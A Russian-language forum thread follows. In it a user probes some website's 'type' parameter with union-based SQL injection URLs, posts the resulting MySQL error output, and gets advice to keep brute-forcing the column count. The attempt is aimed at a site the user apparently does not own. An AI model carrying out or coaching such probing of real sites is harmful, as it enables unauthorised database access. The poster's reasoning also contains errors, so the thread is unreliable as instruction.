Поиск  Пользователи  Правила 
Закрыть
Логин:
Пароль:
Забыли свой пароль?
Войти
 
Страницы: 1
RSS
Непонятки с SQL-инъекцией, Подскажите: в чём дело?
 
Если на неком сайте ввести:
http://www.site.com/index.php?type=-1+union+select+1/*

Выводится:

Код
Database error: Invalid SQL: select * from konkurs where `group`=-1 union select 1/* order by date LIMIT 0,18
MySQL Error: 1222 (The used SELECT statements have a different number of columns)
Session halted.

Т.е. я вижу часть реально правильного запроса (плюс мои добавки), из которых видно количество полей/

Следующий запрос:
http://www.site.com/index.php?type=-1+union+select+1,2/*

Возвращает уже:
Код
Database error: Invalid SQL: select COUNT(id) as itemcount from konkurs where `group`=-1 union select 1,2/*
MySQL Error: 1222 (The used SELECT statements have a different number of columns)
Session halted.


Последний ответ будет тот же и при дальнейших попытках подбора количества полей.

Так как же правильно составить инъекцию?
"Красота - как специи, которые хорошую еду делают ещё вкуснее, а без еды есть невозможно."
 
* - значит полей может быть много. Перебирай дальше.
 
Все верно...перебирай дальше...потом высветятся необходимые поля...которые выводят данные
 
Насчёт * - я знаю, что это означает ALL.

Но всё равно что-то странное: вот пишу
http://www.site.com/index.php?type=-1+order+by+1/*

Страница грузится без ошибок.
А если
http://www.site.com/index.php?type=-1+order+by+2/*

Ответ:
Код
Database error: Invalid SQL: select COUNT(id) as itemcount from konkurs where `group`=1 order by 2/*
MySQL Error: 1054 (Unknown column '2' in 'order clause')
Session halted.


Не должно ли это означать, что всего 1 поле между select и where?
"Красота - как специи, которые хорошую еду делают ещё вкуснее, а без еды есть невозможно."
 
Кстати, вот ещё интерексная реакция:
http://www.site.com/index.php?type=-1+union+select+id/*
Код
Database error: Invalid SQL: select COUNT(id) as itemcount from konkurs where `group`=-1 union select id/*
MySQL Error: 1054 (Unknown column 'id' in 'field list')
Session halted.

Т.е. одна из таблиц называется 'field list'?
"Красота - как специи, которые хорошую еду делают ещё вкуснее, а без еды есть невозможно."
 
Тут у тебя не получится инъекцию сделать 1000%!!!! :!:
 
Цитата
zslade пишет:
Тут у тебя не получится инъекцию сделать 1000%!!!!
Аргументы?
"Красота - как специи, которые хорошую еду делают ещё вкуснее, а без еды есть невозможно."
Страницы: 1
Читают тему